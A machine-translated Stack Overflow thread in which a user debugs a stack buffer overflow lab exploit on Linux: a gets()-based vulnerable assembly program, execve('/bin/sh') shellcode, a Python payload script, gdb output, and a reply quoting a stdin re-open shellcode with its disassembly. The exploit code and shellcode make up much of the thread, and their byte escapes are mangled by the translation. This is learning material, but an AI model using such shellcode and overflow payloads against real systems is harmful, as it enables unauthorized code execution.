security - Shellcode para un desbordamiento de pila simple: el programa explotado con shell termina directamente después de execve("/ bin/sh")
assembly buffer-overflow (2)
Jugué con desbordamientos de búfer en Linux (amd64) e intenté explotar un programa simple, pero falló. Deshabilité las funciones de seguridad (asignación aleatoria del diseño del espacio de direcciones con sysctl -w kernel.randomize_va_space = 0 y nx bit en el BIOS). Salta a la pila y ejecuta el shellcode, pero no inicia un shell. El execve syscall tiene éxito, pero luego simplemente termina. ¿Alguna idea de lo que está mal? Ejecutar el shellcode standalone funciona bien.
Pregunta extra: ¿Por qué necesito configurar rax en cero antes de llamar a printf? (Ver comentario en el código)
Vulnerable archivo buffer.s :
.data
.fmtsp:
.string "Stackpointer %p/n"
.fmtjump:
.string "Jump to %p/n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
explotar.py
shellcode = "/x48/xbb/xff/x2f/x62/x69/x6e/x2f/x73/x68/x48/xc1/xeb/x08/x53/x48/x89/xe7/x48/x31/xf6/x48/x31/xd2/x48/x31/xc0/x48/x83/xc0/x3b/x0f/x05"
stackpointer = "/x7f/xff/xff/xff/xe3/x28"
output = shellcode
output += ''a'' * (120 - len(shellcode)) # fill buffer
output += ''b'' * 8 # override stored base pointer
output += ''''.join(reversed(stackpointer))
print output
Compilado con:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
Comenzó con
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
Depuración con gdb:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
Ahora mismo estoy teniendo el mismo problema con Ubuntu 9.10 en una máquina virtual. Deshabilitó todas las medidas de seguridad del sistema operativo, y las vulnerabilidades simples como "salir del programa y establecer el código de salida en 42" funcionan, pero cuando se intenta abrir un shell, el programa simplemente termina. La salida de gdb es idéntica:
(gdb) run < exploit.0xbffff3b8 Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 Enter password: Sorry. Wrong password. Executing new program: /bin/bash Program exited normally. (gdb)
La cosa es que lo necesito trabajando en aprox. 16 horas para una presentación :-D
Actualización: Encontré este estupendo estudio: www.shell-storm.org/papers/files/539.pdf
En la página 16 dice: "Si intentamos ejecutar un shell, termina inmediatamente en esta configuración"
En otros ejemplos que no usan get (), generan un shell muy bien. Desafortunadamente, no dan una pista sobre POR QUÉ no funciona de esa manera. :(
Próxima actualización: parece que tiene que ver con stdin. El shell no puede usar correctamente el que obtiene del proceso original. Intenté usar un shell mínimo. Encontré el código fuente para (evilsh). Se estrelló en el punto donde trató de leer la entrada. Mi conjetura es que bash / dash comprueba esto y simplemente sale silenciosamente cuando algo está mal con stdin.
Ok, por favor no me mates por tener esta conversación conmigo misma aquí, pero ...
¡Encontré una solución!
Por alguna razón es necesario volver a abrir las entradas. He encontrado un código de shell de trabajo aquí:
http://www.milw0rm.com/shellcode/2040
No veo una pregunta rápida, pero puedo ejecutar programas, etc. utilizando el shell que se abre.
El enlace proporcionado por Zenoc está muerto, pero aún se puede encontrar en la máquina Wayback. Para mayor comodidad, lo he reproducido a continuación. Tuve que incluir add $0x10,%esp
en la parte superior para darme más espacio de pila, ya que todos los push
en el código se integraron en el búfer donde estaba almacenado mi shellcode. Si también desea incluir eso en el shellcode, simplemente agregue "/ x83 / xc4 / x10" al comienzo. El shellcode es de 55 bytes sin mi adición, y 58 con.
/*
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
*
* gets-linux.c - stdin re-open shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <[email protected]>
*
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
* Useful to exploit some gets() buffer overflows in an elegant way...
*/
/*
* close(0)
*
* 8049380: 31 c0 xor %eax,%eax
* 8049382: 31 db xor %ebx,%ebx
* 8049384: b0 06 mov $0x6,%al
* 8049386: cd 80 int $0x80
*
* open("/dev/tty", O_RDWR | ...)
*
* 8049388: 53 push %ebx
* 8049389: 68 2f 74 74 79 push $0x7974742f
* 804938e: 68 2f 64 65 76 push $0x7665642f
* 8049393: 89 e3 mov %esp,%ebx
* 8049395: 31 c9 xor %ecx,%ecx
* 8049397: 66 b9 12 27 mov $0x2712,%cx
* 804939b: b0 05 mov $0x5,%al
* 804939d: cd 80 int $0x80
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 804939f: 31 c0 xor %eax,%eax
* 80493a1: 50 push %eax
* 80493a2: 68 2f 2f 73 68 push $0x68732f2f
* 80493a7: 68 2f 62 69 6e push $0x6e69622f
* 80493ac: 89 e3 mov %esp,%ebx
* 80493ae: 50 push %eax
* 80493af: 53 push %ebx
* 80493b0: 89 e1 mov %esp,%ecx
* 80493b2: 99 cltd
* 80493b3: b0 0b mov $0xb,%al
* 80493b5: cd 80 int $0x80
*/
char sc[] =
"/x31/xc0/x31/xdb/xb0/x06/xcd/x80"
"/x53/x68/tty/x68/dev/x89/xe3/x31/xc9/x66/xb9/x12/x27/xb0/x05/xcd/x80"
"/x31/xc0/x50/x68//sh/x68/bin/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
Nota: No pude agregar esto como una edición a la respuesta de Zenoc porque la cola de edición está llena.
Si tiene problemas para localizar la dirección de su shellcode debido a las diferentes pilas en el terminal y gdb
, vea mi respuesta here .